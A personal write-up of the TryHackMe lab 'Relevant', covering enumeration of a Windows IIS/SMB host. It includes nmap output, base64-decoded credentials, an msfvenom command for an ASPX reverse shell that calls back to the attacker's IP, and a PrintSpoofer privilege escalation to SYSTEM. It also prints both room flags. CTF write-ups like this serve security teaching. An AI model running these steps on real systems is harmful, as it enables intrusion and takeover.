Relevant-writeup-THM
My writeup of the TryHackMe room “Relevant”
The first thing that I have done, using nmap:
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nmap 10.10.91.208
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-31 06:18 EST
Nmap scan report for 10.10.91.208
Host is up (0.076s latency).
Not shown: 995 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
Nmap done: 1 IP address (1 host up) scanned in 11.68 seconds
- 80: Web page
- 135: msrpc
- 139: NetBios
- 445: Samba
- 3389: rdp
From there I can see that the machine is running windows.
The interessing ports are 80 and 445.
First of all I am just going to explolre the web page.
From the web page we can see that it uses IIS as a web server, which can be really helpfull, but for now I am going to search other things, like, samba enumeration:
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nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.91.208
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-31 06:28 EST
Nmap scan report for 10.10.91.208
Host is up (0.067s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-enum-shares:
| account_used: guest
| \\10.10.91.208\ADMIN$:
| Type: STYPE_DISKTREE_HIDDEN
| Comment: Remote Admin
| Anonymous access: <none>
| Current user access: <none>
| \\10.10.91.208\C$:
| Type: STYPE_DISKTREE_HIDDEN
| Comment: Default share
| Anonymous access: <none>
| Current user access: <none>
| \\10.10.91.208\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: Remote IPC
| Anonymous access: <none>
| Current user access: READ/WRITE
| \\10.10.91.208\nt4wrksv:
| Type: STYPE_DISKTREE
| Comment:
| Anonymous access: <none>
|_ Current user access: READ/WRITE
Nmap done: 1 IP address (1 host up) scanned in 36.80 seconds
Here I found out a shared folder called nt4wrksv, which can be a user.
And when I tried to enter this folder I was able to do that even without a password.
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smbclient //10.10.91.208/nt4wrksv
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun Dec 31 06:28:38 2023
.. D 0 Sun Dec 31 06:28:38 2023
passwords.txt A 98 Sat Jul 25 11:15:33 2020
7735807 blocks of size 4096. 5136298 blocks available
I even found a passwords.txt file that I downloaded in my machine to examine
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cat passwords.txt
[User Passwords - Encoded]
Qm9iIC0gIVBAJCRXMHJEITEyMw==
QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk
There are two encoded passwords.
the first one is encoded in base64:
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Bob - !P@$$W0rD!123
And it actually is username and password.
The second one is:
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Bill - Juw4nnaM4n420696969!$$$
So, now we have two usernames with password.
Unfortunately they don’t work with the other samba folders.
So for now I am just going to switch target.
I tried using the rdp but even then I couldn’t enter.
So now I am going to try to enumerate the directories in the web page.
This didn’t go well.
So I went and searched for the version of IIS.
Using burp I intercepted the request and found this:
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Server: Microsoft-IIS/10.0
So now that we know the version I am going to search online for some know vulnerabilities.
At this point it was clear that I was doing something wrong, so I went back and did another scan, this time with all the ports:
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nmap -p- -A 10.10.161.53
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-31 07:22 EST
Nmap scan report for 10.10.161.53
Host is up (0.057s latency).
Not shown: 65527 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2016 Standard Evaluation 14393 microsoft-ds
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=Relevant
| Not valid before: 2023-12-30T12:20:08
|_Not valid after: 2024-06-30T12:20:08
|_ssl-date: 2023-12-31T12:27:21+00:00; -1s from scanner time.
| rdp-ntlm-info:
| Target_Name: RELEVANT
| NetBIOS_Domain_Name: RELEVANT
| NetBIOS_Computer_Name: RELEVANT
| DNS_Domain_Name: Relevant
| DNS_Computer_Name: Relevant
| Product_Version: 10.0.14393
|_ System_Time: 2023-12-31T12:26:41+00:00
49663/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 1h36m00s, deviation: 3h34m42s, median: -1s
| smb-os-discovery:
| OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3)
| Computer name: Relevant
| NetBIOS computer name: RELEVANT\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2023-12-31T04:26:46-08:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-12-31T12:26:42
|_ start_date: 2023-12-31T12:20:09
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 265.81 seconds
And I got other 3 ports.
First thing that I am going to do is trying open the other web page:
Which is the same as the other.
Apart that this time I can enter the nt4wrksv directory that I have found in the samba share. (http://10.10.161.53:49663/nt4wrksv)
from the web page I can also access the passwords.txt file. (http://10.10.161.53:49663/nt4wrksv/passwords.txt)
And having the privilege to put file using smbclient I was able to open a reverse shell using:
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msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.18.20.116 LPORT=4555 -f aspx -o rev.aspx
Putting it in the nt4wrksv shared folder, opening a listener inside metasploit, and navigate in that directory in the browser. (http://10.10.161.53:49663/nt4wrksv/rev.aspx)
So now I got a reverse shell.
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getuid
Server username: IIS APPPOOL\DefaultAppPool
First of all I am going to retrieve the flag inside the Bob directory: THM{fdk4ka34vk346ksxfr21tg789ktf45}
Now that I am in I can see the privileges using whoami /priv.
I see that I the SeImpersonatePrivilege is Enabled. So I am going to exploit that.
I will do it using PrintSpoofer64.exe.
Which is a tool that can exploit this vulnerability.
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PrintSpoofer64.exe -i -c powershell
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
whoami
nt authority\system
And just like that I retrieved the flag in the administrator desktop: THM{1fk5kf469devly1gl320zafgl345pv}